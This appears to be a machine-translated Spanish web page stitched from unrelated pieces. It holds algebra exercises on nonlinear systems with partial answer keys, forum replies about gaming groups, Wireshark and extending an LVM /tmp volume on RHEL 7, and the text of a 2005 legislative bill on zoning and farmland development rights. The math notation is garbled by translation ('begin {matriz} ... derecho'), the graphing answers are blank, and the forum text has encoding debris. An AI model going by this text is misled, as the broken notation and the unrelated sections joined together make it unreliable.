Artículos

22.6E: Ejercicios


La práctica hace la perfección

Ejercicio ( PageIndex {17} ) Resolver un sistema de ecuaciones no lineales usando gráficas

En los siguientes ejercicios, resuelva el sistema de ecuaciones usando gráficas.

  1. ( left { begin {array} {l} {y = 2 x + 2} {y = -x ^ {2} +2} end {array} right. )
  2. ( left { begin {array} {l} {y = 6 x-4} {y = 2 x ^ {2}} end {array} right. )
  3. ( left { begin {array} {l} {x + y = 2} {x = y ^ {2}} end {array} right. )
  4. ( left { begin {array} {l} {x-y = -2} {x = y ^ {2}} end {array} right. )
  5. ( left { begin {array} {l} {y = frac {3} {2} x + 3} {y = -x ^ {2} +2} end {array} right . )
  6. ( left { begin {array} {l} {y = x-1} {y = x ^ {2} +1} end {array} right. )
  7. ( left { begin {array} {l} {x = -2} {x ^ {2} + y ^ {2} = 4} end {array} right. )
  8. ( left { begin {array} {l} {y = -4} {x ^ {2} + y ^ {2} = 16} end {array} right. )
  9. ( left { begin {matriz} {l} {x = 2} {(x + 2) ^ {2} + (y + 3) ^ {2} = 16} end {matriz} derecho.)
  10. ( left { begin {matriz} {l} {y = -1} {(x-2) ^ {2} + (y-4) ^ {2} = 25} end {matriz} derecho.)
  11. ( left { begin {array} {l} {y = -2 x + 4} {y = sqrt {x} +1} end {array} right. )
  12. ( left { begin {array} {l} {y = - frac {1} {2} x + 2} {y = sqrt {x} -2} end {array} right . )
Respuesta

2.

4.

6.

8.

10.

12.

Ejercicio ( PageIndex {18} ) Resolver un sistema de ecuaciones no lineales mediante sustitución

En los siguientes ejercicios, resuelve el sistema de ecuaciones mediante sustitución.

  1. ( left { begin {array} {l} {x ^ {2} +4 y ^ {2} = 4} {y = frac {1} {2} x-1} end { matriz} derecha. )
  2. ( left { begin {array} {l} {9 x ^ {2} + y ^ {2} = 9} {y = 3 x + 3} end {array} right. )
  3. ( left { begin {array} {l} {9 x ^ {2} + y ^ {2} = 9} {y = x + 3} end {array} right. )
  4. ( left { begin {array} {l} {9 x ^ {2} +4 y ^ {2} = 36} {x = 2} end {array} right. )
  5. ( left { begin {array} {l} {4 x ^ {2} + y ^ {2} = 4} {y = 4} end {array} right. )
  6. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 169} {x = 12} end {array} right. )
  7. ( left { begin {array} {l} {3 x ^ {2} -y = 0} {y = 2 x-1} end {array} right. )
  8. ( left { begin {array} {l} {2 y ^ {2} -x = 0} {y = x + 1} end {array} right. )
  9. ( left { begin {array} {l} {y = x ^ {2} +3} {y = x + 3} end {array} right. )
  10. ( left { begin {array} {l} {y = x ^ {2} -4} {y = x-4} end {array} right. )
  11. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 25} {x-y = 1} end {array} right. )
  12. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 25} {2 x + y = 10} end {array} right. )
Respuesta

2. ((-1,0),(0,3))

4. ((2,0))

6. ((12,-5),(12,5))

8. No hay solución

10. ((0,-4),(1,-3))

12. ((3,4),(5,0))

Ejercicio ( PageIndex {19} ) Resolver un sistema de ecuaciones no lineales usando eliminación

En los siguientes ejercicios, resuelva el sistema de ecuaciones utilizando la eliminación.

  1. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 16} {x ^ {2} -2 y = 8} end {array} right . )
  2. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 16} {x ^ {2} -y = 4} end {array} right. )
  3. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 4} {x ^ {2} +2 y = 1} end {array} right . )
  4. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 4} {x ^ {2} -y = 2} end {array} right. )
  5. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 9} {x ^ {2} -y = 3} end {array} right. )
  6. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 4} {y ^ {2} -x = 2} end {array} right. )
  7. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 25} {2 x ^ {2} -3 y ^ {2} = 5} end {matriz} derecha. )
  8. ( left { begin {array} {l} {x ^ {2} + y ^ {2} = 20} {x ^ {2} -y ^ {2} = - 12} end { matriz} derecha. )
  9. ( left { begin {matriz} {l} {x ^ {2} + y ^ {2} = 13} {x ^ {2} -y ^ {2} = 5} end {matriz }derecho.)
  10. ( left { begin {matriz} {l} {x ^ {2} + y ^ {2} = 16} {x ^ {2} -y ^ {2} = 16} end {matriz }derecho.)
  11. ( left { begin {array} {l} {4 x ^ {2} +9 y ^ {2} = 36} {2 x ^ {2} -9 y ^ {2} = 18} end {matriz} right. )
  12. ( left { begin {array} {l} {x ^ {2} -y ^ {2} = 3} {2 x ^ {2} + y ^ {2} = 6} end { matriz} derecha. )
  13. ( left { begin {array} {l} {4 x ^ {2} -y ^ {2} = 4} {4 x ^ {2} + y ^ {2} = 4} end {matriz} derecha. )
  14. ( left { begin {array} {l} {x ^ {2} -y ^ {2} = - 5} {3 x ^ {2} +2 y ^ {2} = 30} fin {matriz} right. )
  15. ( left { begin {array} {l} {x ^ {2} -y ^ {2} = 1} {x ^ {2} -2 y = 4} end {array} right . )
  16. ( left { begin {array} {l} {2 x ^ {2} + y ^ {2} = 11} {x ^ {2} +3 y ^ {2} = 28} end {matriz} derecha. )
Respuesta

2. ((0, -4), (- sqrt {7}, 3), ( sqrt {7}, 3) )

4. ((0, -2), (- sqrt {3}, 1), ( sqrt {3}, 1) )

6. ((- 2,0), (1, - sqrt {3}), (1, sqrt {3}) )

8. ((-2,-4),(-2,4),(2,-4),(2,4))

10. ((-4,0),(4,0))

12. ((- sqrt {3}, 0), ( sqrt {3}, 0) )

14. ((-2,-3),(-2,3),(2,-3),(2,3))

16. ((-1,-3),(-1,3),(1,-3),(1,3))

Ejercicio ( PageIndex {20} ) Usar un sistema de ecuaciones no lineales para resolver aplicaciones

En los siguientes ejercicios, resuelve el problema usando un sistema de ecuaciones.

  1. La suma de dos números es (- 6 ) y el producto es (8 ). Encuentra los números.
  2. La suma de dos números es (11 ) y el producto es (- 42 ). Encuentra los números.
  3. La suma de los cuadrados de dos números es (65 ). La diferencia del número es (3 ). Encuentra los números.
  4. La suma de los cuadrados de dos números es (113 ). La diferencia del número es (1 ). Encuentra los números.
  5. La diferencia de los cuadrados de dos números es (15 ). La diferencia de dos veces el cuadrado del primer número y el cuadrado del segundo número es (30 ). Encuentra los números.
  6. La diferencia de los cuadrados de dos números es (20 ). La diferencia del cuadrado del primer número y el doble del cuadrado del segundo número es (4 ). Encuentra los números.
  7. El perímetro de un rectángulo es (32 ) pulgadas y su área es (63 ) pulgadas cuadradas. Calcula la longitud y el ancho del rectángulo.
  8. El perímetro de un rectángulo es (52 ) cm y su área es (165 ) ( mathrm {cm} ^ {2} ). Calcula la longitud y el ancho del rectángulo.
  9. Dion compró un microondas nuevo. La diagonal de la puerta mide (17 ) pulgadas. La puerta también tiene un área de (120 ) pulgadas cuadradas. ¿Cuáles son la longitud y el ancho de la puerta del microondas?
  10. Jules compró un microondas para su cocina. La diagonal del frente del microondas mide (26 ) pulgadas. El frente también tiene un área de (240 ) pulgadas cuadradas. ¿Cuáles son el largo y el ancho del microondas?
  11. Roman encontró un televisor de pantalla ancha a la venta, pero no está seguro de si se ajustará a su centro de entretenimiento. El televisor es (60 ) ”. El tamaño de un televisor se mide en la diagonal de la pantalla y una pantalla ancha tiene una longitud mayor que el ancho. La pantalla también tiene un área de (1728 ) pulgadas cuadradas. Su centro de entretenimiento tiene un inserto para el televisor con una longitud de (50 ) pulgadas y un ancho de (40 ) pulgadas. ¿Cuáles son la longitud y el ancho de la pantalla del televisor? ¿Se ajustará al centro de entretenimiento de Roman?
  12. Donnette encontró un televisor de pantalla ancha en una venta de garaje, pero no está segura de que se ajuste a su centro de entretenimiento. El televisor es (50 ) ”. La pantalla también tiene un área de (1200 ) pulgadas cuadradas. Su centro de entretenimiento tiene un inserto para el televisor con una longitud de (38 ) pulgadas y un ancho de (27 ) pulgadas. ¿Cuáles son la longitud y el ancho de la pantalla del televisor? ¿Se ajustará al centro de entretenimiento de Donnette?
Respuesta

2. (- 3 ) y (14 )

4. (- 7 ) y (- 8 ) o (8 ) y (7 )

6. (- 6 ) y (- 4 ) o (- 6 ) y (4 ) o (6 ) y (- 4 ) o (6 ) y ( 4 )

8. Si el largo es (11 ) cm, el ancho es (15 ) cm. Si el largo es (15 ) cm, el ancho es (11 ) cm.

10. Si el largo es (10 ​​) pulgadas, el ancho es (24 ) pulgadas. Si el largo es (24 ) pulgadas, el ancho es (10 ​​) pulgadas.

12. El largo es (40 ) pulgadas y el ancho es (30 ) pulgadas. La TV no se adapta al centro de entretenimiento de Donnette.

Ejercicio ( PageIndex {21} ) Ejercicios de escritura

  1. En sus propias palabras, explique las ventajas y desventajas de resolver un sistema de ecuaciones mediante la representación gráfica.
  2. Explica con tus propias palabras cómo resolver un sistema de ecuaciones mediante sustitución.
  3. Explica con tus propias palabras cómo resolver un sistema de ecuaciones mediante eliminación.
  4. Un círculo y una parábola pueden cruzarse de maneras que resultarían en soluciones (0, 1, 2, 3, ) o (4 ). Dibuja un boceto de cada una de las posibilidades.
Respuesta

2. Las respuestas pueden variar

4. Las respuestas pueden variar

Autochequeo

una. Después de completar los ejercicios, use esta lista de verificación para evaluar su dominio de los objetivos de esta sección.

B. Después de mirar la lista de verificación, ¿cree que está bien preparado para la siguiente sección? ¿Por qué o por qué no?


22.6E: Ejercicios

Comunidades, comunidades y comunidades. Aplicar a todos los grandes, que aún les queda espacio.

Pregunte a su alrededor, si alguien está haciendo grupos de yolo en estos días, y agárrese a ellos. Las personas no tienen criterios, pero obtienen una calificación básica.

Hable, sea activo e involúcrese en la discusión para que la gente lo recuerde y le haga saber al líder que está interesado en más juegos en los próximos días, si el grupo funciona decentemente.

Establezca contactos y esté disponible. Esa parte es la más difícil. Pero si está trabajando desde su casa, inicie sesión para sorprender un par de horas antes de dejar de trabajar y presione el tabulador para ver el chat de vez en cuando.

Cuando alguien está iniciando grupos, usted está preparado, o dígaselo un poco a alguien que ya sabe, que está listo en 20 minutos más o menos. Mierda como esa.

Hace ya 27 años que no he visto la formación de tantos grupos. Así que invierte tiempo y encuentra gente. Luego, recibe invitaciones a comunidades más pequeñas, más "promocionadas", etc.

Wireshark ganó & # x27t mostrar mensajes de ping

¿Ha configurado su filtro para mostrar el tráfico icmp?

Ampliando el espacio sin agregar nuevos discos.

Entonces tengo este servidor Red Hat 7, donde necesito expandir el tamaño de / tmp y / sí mismo.

De todos modos, no estoy del todo seguro, cuál es la forma más sencilla. Preferiría no agregar un disco y agregar el espacio a / tmp. Todo esto nuevo-ish / dev / mapper / rootvg-tmplv con grupos de volúmenes y volúmenes lógicos asignados. No se. Era más sencillo cuando era niño o cuando me olvidaba de algunas cosas.

Mi principal preocupación es eliminar / tmp. No es realmente mi servidor, pero no se espera que nadie se pierda lo que sea que esté allí.

Los directorios como / dev, / run y / dev / shm se enumeran como tmpfs.

/ tmp aparece como / dev / mappper / rootvg-tmplv. Entonces, ¿ese tmpfs está asignado a una partición con un nombre diferente?

Muchas de las funciones que se relacionan con & quothow the OS work & quot utilizan sistemas de archivos temporales. Hace mucho tiempo / dev era un sistema de archivos real en un disco, pero no ha sido así durante mucho tiempo. Todos / run, / dev, / sys y / proc son vistas directas o indirectas del kernel y de cómo están funcionando las cosas. El contenido de ellos generalmente es administrado por el demonio del sistema, y ​​debido a que son tmpfs, desaparecen cuando se apaga. Cuando el kernel vuelve al arrancar, vuelven.

Su montaje / tmp le muestra & # x27s un sistema de archivos. Eso fue algo que alguien hizo a propósito. Solía ​​ser la forma en que hacíamos las cosas, por lo que lo más probable es que fuera una configuración que se cambió de revisiones anteriores. Si bien por definición no es malo usar un disco, para sistemas ocupados no es realmente óptimo hacerlo. PARTICULAR cuando se coloca en los mismos discos / grupos que rootfs y otros volúmenes del sistema. Su enlace indica que es un volumen lógico, por lo que extenderlo es tan simple como:

# lvextend -L + 5G -r rootvg / tmplv

Hecho. Siempre que rootvg tenga espacio, esto es _todo_ lo que necesita hacer (para agregar 5GB a / tmp). Y nuevamente, no importa si el espacio solo está disponible en otro disco. Con LVM, si se queda sin espacio, simplemente agregue un nuevo disco en blanco, extienda el VG con el nuevo disco y comience a expandir sus volúmenes con el comando anterior, uno para cada volumen y con la cantidad de espacio que desea agregar.

Esto no significa que no deba concentrarse en limpiar los archivos que no necesita. Simplemente significa que se reduce el riesgo de resolver el problema del espacio.

Es LVM. Yo ... solo necesito leer sobre esa mierda.

Realmente no es tan complicado. Simplemente apéguese a lo básico y aprenderá rápidamente lo que necesita para la mayoría de las cosas que encontrará en el día a día. Hay & # x27s un montón de sitios web antiguos / nuevos que cubren esto, incluida la propia documentación de Red Hat & # x27, que es bastante buena sobre LVM.

El nuevo software dictaba la versión anterior de rhel, así que no sucederá.

Eso sucede y es algo a lo que se enfrentan todas las organizaciones / instalaciones a lo largo del tiempo. Actualizar no siempre es una decisión sencilla. Dicho esto, intente esto: cree una nueva máquina virtual RHEL8 e intente instalar el software. Hay muchas posibilidades de que & quot; simplemente funcione & quot; y & # x27s & # x27sólo que su proveedor de software no & # x27t lo probó / certificó. Si no lo hace, porque depende de un software obsoleto y eso debería ser una señal de advertencia para todos (en particular si la tercera parte que lo mantiene ni siquiera planeará arreglarlo).

La mayoría de los casos que conozco se refieren a la desaprobación del hardware. Lo que significa que el proveedor de hardware ya no mantiene el hardware utilizado para ejecutar RHEL7 y, por lo tanto, no está disponible en RHEL8. Eso también debería ser motivo de preocupación: como mínimo, asegúrese de que el proveedor de hardware seguirá manteniendo el software necesario para usarlo en RHEL7 (si & # x27s es oficialmente compatible con RHEL7, Red Hat y el proveedor de hardware trabajarán juntos para garantizar que & # x27 se mantiene para RHEL7 pero consume mucho tiempo para el hardware que ya no se fabrica).


Expediente No. 399

Cámara de Representantes, 18 de abril de 2005

El Comité de Planificación y Desarrollo informó a través de REP. WALLACE del 109 ° Dist., Presidente del Comité por parte de la Cámara, que el proyecto de ley sustitutivo debe ser aprobado.

LEY RELATIVA A LA CONSERVACIÓN Y USO DE LAS TIERRAS AGRÍCOLAS.

Sea promulgado por el Senado y la Cámara de Representantes en Asamblea General convocada:

Sección 1. Se deroga la Sección 8-3 de los estatutos generales y se sustituye la siguiente (Efectivo a partir del 1 de octubre de 2005):

(a) Dicha comisión de zonificación dispondrá la manera en que se establecerán o cambiarán respectivamente las reglamentaciones de la sección 8-2 o 8-2j y los límites de los distritos de zonificación. Ningún reglamento o límite de este tipo entrará en vigencia o se establecerá o cambiará hasta después de una audiencia pública en relación con el mismo, celebrada por la mayoría de los miembros de la comisión de zonificación o un comité de la misma designado para ese propósito que conste de al menos cinco miembros. Dicha audiencia se llevará a cabo de acuerdo con las disposiciones de la sección 8-7d. Se deberá archivar una copia de tal reglamento o límite propuesto en la oficina del secretario del pueblo, ciudad o municipio, según sea el caso, en dicho municipio, pero, en el caso de un distrito, en las oficinas del secretario de distrito y el secretario municipal de la ciudad en la que se encuentra dicho distrito, para inspección pública al menos diez días antes de dicha audiencia, y puede ser publicado en su totalidad en dicho periódico. La comisión puede requerir que se deposite una tarifa de presentación ante la comisión para sufragar el costo de publicación del aviso requerido para una audiencia.

(b) Dichos reglamentos y límites se establecerán, cambiarán o derogarán únicamente por mayoría de votos de todos los miembros de la comisión de zonificación, salvo que se disponga lo contrario en este capítulo. Al tomar su decisión, la comisión tomará en consideración el plan de conservación y desarrollo, preparado de conformidad con la sección 8-23, y declarará en el expediente sus hallazgos sobre la coherencia del establecimiento propuesto, cambio o derogación de tales regulaciones y límites con tales plan. Si se presenta una protesta contra un cambio propuesto en o antes de una audiencia con la comisión de zonificación, firmada por los propietarios del veinte por ciento o más del área de los lotes incluidos en dicho cambio propuesto o de los lotes dentro de los quinientos pies en total. direcciones de la propiedad incluidas en el cambio propuesto, dicho cambio no será adoptado excepto por el voto de dos tercios de todos los miembros de la comisión.

(c) Todas las peticiones que soliciten un cambio en las regulaciones o los límites de los distritos de zonificación se presentarán por escrito y en una forma prescrita por la comisión y se considerarán en una audiencia pública dentro del período de tiempo permitido bajo la sección 8-7d. Cualquier persona que tenga la intención de presentar una petición solicitando un cambio de regulación o un cambio en el límite de un distrito de zonificación en un terreno para el cual el estado posee derechos de desarrollo de conformidad con las secciones 22-26aa a 22-26jj, inclusive, o para el cual existe una conservación restricción, como se define en la sección 47-42a, deberá proporcionar notificación, por escrito, por correo certificado, con acuse de recibo solicitado, al Comisionado de Agricultura o al titular de la restricción de conservación, según sea el caso, de la intención de dicha persona de presentar la peticion. El solicitante enviará la notificación por correo no menos de sesenta días antes de que se presente la petición. La comisión actuará sobre los cambios solicitados en dicha petición. Siempre que dicha comisión realice algún cambio en un reglamento o límite, deberá indicar en sus registros la razón por la que se realizó dicho cambio.No se requerirá que dicha comisión escuche petición o peticiones relacionadas con los mismos cambios, o sustancialmente los mismos cambios, más de una vez en un período de doce meses.

(d) Los reglamentos de zonificación o los límites o cambios en los mismos entrarán en vigencia en el momento que sea fijado por la comisión de zonificación, siempre que se presente una copia de dicho reglamento, límite o cambio en la oficina del secretario del pueblo, ciudad o municipio, como el caso puede ser, pero, en el caso de un distrito, en la oficina tanto del secretario de distrito como del secretario municipal de la ciudad en la que se encuentra dicho distrito, y la notificación de la decisión de dicha comisión se habrá publicado en un periódico que tenga una circulación sustancial en el municipio antes de dicha fecha de vigencia. En cualquier caso en el que dicha notificación no se publique dentro del período de quince días después de que se haya dictado una decisión, cualquier solicitante o peticionario podrá disponer la publicación de dicha notificación dentro de los diez días siguientes.

(e) La comisión de zonificación establecerá la manera en que se harán cumplir las regulaciones de zonificación.

(F) (1) No se emitirá ningún permiso de construcción o certificado de ocupación para un edificio, uso o estructura sujeto a las regulaciones de zonificación de un municipio sin una certificación por escrito del funcionario encargado de la aplicación de dichas regulaciones de que dicho edificio, uso o estructura está en conformidad con tales regulaciones o es un uso no conforme válido bajo tales regulaciones. Dicho funcionario deberá informar al solicitante de dicha certificación que dicho solicitante puede notificar dicha certificación mediante (1) publicación en un periódico que tenga una circulación sustancial en dicho municipio indicando que la certificación ha sido emitida, o (2) cualquier otro método proporcionado. por ordenanza local. Cualquier aviso deberá contener (A) una descripción del edificio, uso o estructura, (B) la ubicación del edificio, uso o estructura, (C) la identidad del solicitante y (D) una declaración de que una persona agraviada puede apelar a la junta de apelaciones de zonificación de acuerdo con las disposiciones de la sección 8-7.

(2) El solicitante de un permiso de construcción o certificado de ocupación para un edificio, uso o estructura en terrenos de los cuales el estado posee derechos de desarrollo de conformidad con las secciones 22-26aa a 22-26jj, inclusive, o de los cuales hay un La restricción de conservación, según se define en la sección 47-42a, deberá notificar, por escrito, por correo certificado, con acuse de recibo solicitado, al Comisionado de Agricultura o al titular de dicha restricción, según sea el caso, de dicha aplicación. Las disposiciones de esta subdivisión no se aplicarán a las solicitudes de trabajo interior en un edificio existente.

(g) Los reglamentos de zonificación pueden requerir que se presente un plano del sitio ante la comisión u otra agencia o funcionario municipal para ayudar a determinar la conformidad de un edificio, uso o estructura propuesto con disposiciones específicas de dichos reglamentos. Si una solicitud de plan de sitio involucra una actividad regulada de conformidad con las secciones 22a-36 a 22a-45, inclusive, el solicitante deberá presentar una solicitud de permiso a la agencia responsable de la administración de las regulaciones de los humedales continentales a más tardar el día en que dicha solicitud sea finalizada. presentado ante la comisión de zonificación. La decisión de la comisión de zonificación no se incluirá en la solicitud del plan del sitio hasta que la agencia de humedales continentales haya presentado un informe con su decisión final. Al tomar su decisión, la comisión de zonificación deberá considerar debidamente el informe de la agencia de humedales continentales. Un plano del sitio puede ser modificado o denegado solo si no cumple con los requisitos ya establecidos en las regulaciones de zonificación o de humedales continentales. Se presumirá la aprobación de un plano del sitio a menos que se tome una decisión para denegarlo o modificarlo dentro del período especificado en la sección 8-7d. Se enviará al solicitante un certificado de aprobación de cualquier plan cuyo período de aprobación haya expirado y sobre el cual no se haya tomado ninguna medida dentro de los quince días siguientes a la fecha en que haya expirado el período de aprobación. La decisión de denegar o modificar un plan del sitio establecerá las razones de dicha denegación o modificación. Se enviará una copia de cualquier decisión por correo certificado a la persona que presentó dicho plan dentro de los quince días posteriores a la toma de dicha decisión. La comisión de zonificación puede, como condición para la aprobación de cualquier plano del sitio modificado, requerir una fianza por un monto y con garantía y condiciones satisfactorias para ella, asegurando que se realicen modificaciones a dicho plano del sitio o puede otorgar una extensión del tiempo para completar el trabajo en relación con dicho plan de sitio modificado. La comisión podrá condicionar la aprobación de dicha extensión a la determinación de la idoneidad del monto de la fianza u otra garantía proporcionada bajo esta sección. La comisión publicará un aviso de la aprobación o denegación de los planos del sitio en un periódico de circulación general en el municipio. En cualquier caso en el que dicho aviso no se publique dentro del período de quince días después de que se haya emitido una decisión, la persona que presentó dicho plan podrá disponer la publicación de dicho aviso dentro de los diez días siguientes.

(h) No obstante las disposiciones de los estatutos generales o cualquier acto público o especial o cualquier ordenanza local, cuando se adopte un cambio en las regulaciones de zonificación o los límites de los distritos de zonificación de cualquier pueblo, ciudad o municipio, no se muestran mejoras o mejoras propuestas en un plano del sitio para la propiedad residencial que haya sido aprobado antes de la fecha de vigencia de dicho cambio, ya sea de conformidad con una solicitud de excepción especial o de otro modo, por la comisión de zonificación de dicho pueblo, ciudad o municipio, u otro organismo que ejerza los poderes de tal comisión, y archivada o registrada con el secretario de la ciudad, deberá ajustarse a tal cambio.

(i) En el caso de cualquier plano del sitio aprobado a partir del 1 de octubre de 1984, excepto lo dispuesto en la subsección (j) de esta sección, todo el trabajo en relación con dicho plano del sitio se completará dentro de los cinco años posteriores a la aprobación del plan. El certificado de aprobación de dicho plano del sitio deberá indicar la fecha en que expira dicho período de cinco años. La falta de completar todo el trabajo dentro de dicho período de cinco años resultará en el vencimiento automático de la aprobación de dicho plan del sitio, excepto en el caso de cualquier plan del sitio aprobado en o después del 1 de octubre de 1989, la comisión de zonificación u otra agencia municipal o funcionario la aprobación de dicho plan de sitio puede otorgar una o más extensiones del tiempo para completar todo o parte del trabajo en relación con el plan de sitio, siempre que la extensión o extensiones totales no excedan los diez años a partir de la fecha en que se apruebe dicho plan de sitio. "Trabajo" para los propósitos de esta subsección significa todas las mejoras físicas requeridas por el plan aprobado.

(j) En el caso de cualquier plano del sitio para un proyecto que consta de cuatrocientas o más unidades de vivienda aprobadas el 19 de junio de 1987 o después, todo el trabajo en relación con dicho plano del sitio se completará dentro de los diez años posteriores a la aprobación del plan . En el caso de cualquier proyecto comercial, industrial o minorista que tenga un área igual o superior a cuatrocientos mil pies cuadrados aprobado en o después del 1 de octubre de 1988, la comisión de zonificación u otra agencia municipal o funcionario que apruebe dicho plano del sitio establecerá una fecha. para la finalización de todo el trabajo en relación con dicho plan del sitio, cuya fecha no será menor de cinco ni mayor de diez años a partir de la fecha de aprobación de dicho plan del sitio, siempre que dicha comisión, agencia u oficial apruebe dicho plan y establezca una fecha para la finalización que sea inferior a diez años a partir de la fecha de aprobación, puede extender la fecha de finalización por un período o períodos adicionales, que no excederán los diez años en total a partir de la fecha de la aprobación original de dicho plano del sitio. El certificado de aprobación de dicho plano del sitio deberá indicar la fecha en que se completará dicho trabajo. La falta de completar todo el trabajo dentro de dicho período resultará en el vencimiento automático de la aprobación de dicho plan de sitio. "Trabajo" para los propósitos de esta subsección significa todas las mejoras físicas requeridas por el plan aprobado.

(k) Se puede establecer un distrito de zonificación separado para las áreas terrestres costeras utilizadas para usos dependientes del agua, como se define en la sección 22a-93, existente el 1 de octubre de 1987. Dicho distrito puede estar compuesto por una sola parcela de tierra, siempre que el el propietario da su consentimiento para dicho establecimiento. No se interpretará que las disposiciones de esta sección limitan la autoridad de una comisión de zonificación para establecer y aplicar distritos de uso de la tierra para la promoción y protección de usos dependientes del agua de conformidad con la sección 8-2 y las secciones 22a-101 a 22a-104. inclusivo. Las disposiciones de esta subsección se aplicarán a todas las comisiones de zonificación u otra autoridad final de zonificación de cada municipio, ya sea que dicho municipio haya adoptado o no las disposiciones de este capítulo o que la carta de dicho municipio o la ley especial que establezca la zonificación en el municipio contenga disposiciones similares.

(l) No obstante las disposiciones de esta sección en sentido contrario, cualquier aprobación del plano del sitio hecha bajo esta sección el 1 de octubre de 1989 o antes, excepto una aprobación hecha bajo la subsección (j) de esta sección, expirará no más de siete años a partir de la fecha de dicha aprobación y la comisión puede otorgar una o más extensiones de tiempo para completar todo o parte del trabajo en relación con dicho plano del sitio, siempre que el tiempo para todas las extensiones bajo esta subsección no exceda los diez años a partir de la fecha en que el sitio El plan fue aprobado.

Segundo. 2. Se deroga el artículo 22-6e de los estatutos generales y se sustituye el siguiente (Efectivo a partir del 1 de octubre de 2005):

(a) El comisionado puede desarrollar un programa para fomentar el uso de terrenos públicos vacantes propiedad del estado para fines agrícolas o de jardinería. Para llevar a cabo dicho programa, el comisionado deberá: (1) En cooperación con otras agencias estatales, compilar una lista de todos los terrenos públicos vacantes propiedad del estado, que en opinión de dichas agencias y el comisionado puedan ser utilizados para jardinería o agricultura, y (2) establecer un procedimiento para la solicitud al departamento en un formulario que será proporcionado por el comisionado para un permiso para usar terrenos públicos vacantes disponibles para propósitos agrícolas o de jardinería. El comisionado adoptará reglamentos de conformidad con el capítulo 54 para llevar a cabo las disposiciones de esta sección, incluidos, entre otros, los requisitos para los acuerdos de uso de terrenos públicos vacantes para fines agrícolas o de jardinería, el establecimiento de una tarifa para dicho permiso, excepto que no se aplicará ninguna tarifa. cobrar por los permisos de jardinería y los requisitos para el uso de dicha tierra con fines agrícolas en base a una licitación abierta competitiva. Los permisos serán por un período prescrito por el comisionado, pero no excederán [ Siete ] diez años a partir de la fecha de emisión. Después de dicho período, los titulares de permisos pueden solicitar un nuevo permiso o la renovación del permiso. Los solicitantes deberán presentar un plan para dicho uso y acordarán mantener la tierra en una condición consistente con dicho plan de uso de la tierra, y estarán de acuerdo en cumplir con las regulaciones adoptadas por el departamento de conformidad con el capítulo 54. El incumplimiento de las condiciones del acuerdo deberá resultar en la confiscación del permiso de jardín o agricultura. Cualquier solicitante a quien se le otorgue el uso de terrenos públicos baldíos para propósitos agrícolas o de jardinería deberá indemnizar y salvar al estado y a todos sus oficiales, agentes y empleados contra demandas y reclamos de responsabilidad de cada nombre y naturaleza que surjan de, o en consecuencia del uso de terrenos públicos baldíos.

(b) Cualquier permiso emitido de conformidad con la subsección (a) puede ser terminado por el comisionado, sin causa, mediante notificación por escrito al tenedor del permiso.

(c) Un patrocinador que tenga un permiso de jardinería puede cobrar una tarifa a los jardineros individuales con el único propósito de reembolsar a dicho patrocinador los costos incurridos en la preparación de la tierra.

(d) Cualquier pago realizado por el titular del permiso de conformidad con un acuerdo para el uso de tierras estatales para fines agrícolas se acreditará en partes iguales a la cuenta del Fondo General de la agencia cuya tierra se está utilizando para tales fines y al Departamento de Agricultura con el propósito de administrar el programa..

Segundo. 3. Se deroga el artículo 22-26cc de los estatutos generales y se sustituye el siguiente (Efectivo a partir del 1 de octubre de 2005):

(a) Se ha establecido dentro del Departamento de Agricultura un programa para solicitar, a los propietarios de tierras agrícolas, ofertas para vender los derechos de desarrollo de dichas tierras e informar al público de los propósitos, metas y disposiciones de este capítulo. El comisionado, con la aprobación de la Junta de Revisión de Propiedades del Estado, tendrá el poder de adquirir o aceptar como regalo, en nombre del estado, los derechos de desarrollo de cualquier terreno agrícola, si el propietario lo ofrece. La notificación de la oferta se archivará en los registros de la tierra donde se encuentra la tierra agrícola. Si se transfiere la propiedad de cualquier terreno para el cual se han ofrecido derechos de desarrollo, la oferta será efectiva hasta que el propietario subsiguiente la revoque por escrito. El plan estatal de conservación y desarrollo establecido de conformidad con la sección 16a-24 se aplicará como documento de asesoramiento para la adquisición de derechos de desarrollo de cualquier terreno agrícola. Los factores a ser considerados por el comisionado al decidir si adquirir o no tales derechos incluirán, pero no se limitarán a, lo siguiente: (1) La probabilidad de que la tierra se venda para propósitos no agrícolas (2) la productividad actual de dicha tierra y la probabilidad de que continúe la productividad (3) la idoneidad de la tierra en cuanto a la clasificación del suelo y otros criterios para el uso agrícola (4) el grado en que dicha adquisición contribuiría a la preservación del potencial agrícola del estado (5) cualquier gravamen en esa tierra [ , ] (6) el costo de adquirir tales derechos y (7) el grado en que dicha adquisición mitigaría el daño debido a los peligros de inundación. La propiedad por parte de una organización sin fines de lucro autorizada a poseer tierras con fines de conservación y preservación de tierras que antes de dicha propiedad calificaban para el programa establecido de conformidad con esta sección no se considerará que disminuya la probabilidad de que la tierra se venda para fines no agrícolas. Después de una evaluación preliminar de dichos factores por parte del Comisionado de Agricultura, obtendrá y revisará una o más tasaciones de la propiedad seleccionada para determinar el valor de los derechos de desarrollo de dicha propiedad. El comisionado notificará al Departamento de Transporte, el Departamento de Desarrollo Económico y Comunitario, el Departamento de Protección Ambiental y la Oficina de Política y Administración que dicha propiedad está siendo tasada. Cualquier tasación del valor de dicha tierra obtenida por el propietario y realizada de una manera aprobada por el comisionado será considerada por el comisionado al tomar tal determinación. El valor de los derechos de desarrollo para todos los propósitos de esta sección será la diferencia entre el valor de la propiedad para su mayor y mejor uso y su valor para propósitos agrícolas según lo determine el comisionado. No se considerará que el uso o la presencia de contaminantes o productos químicos en el suelo disminuye el valor agrícola de la tierra o prohíbe al comisionado adquirir los derechos de desarrollo de dicha tierra. El comisionado podrá comprar derechos de desarrollo por un monto menor siempre que cumpla con todos los factores para la adquisición especificados en este inciso y en cualquier reglamento de implementación. Al determinar el valor de la propiedad para su mayor y mejor uso, se considerará, pero no se limitará, a las ventas de propiedades comparables en el área general, cuyo uso no estaba restringido en el momento de la venta.

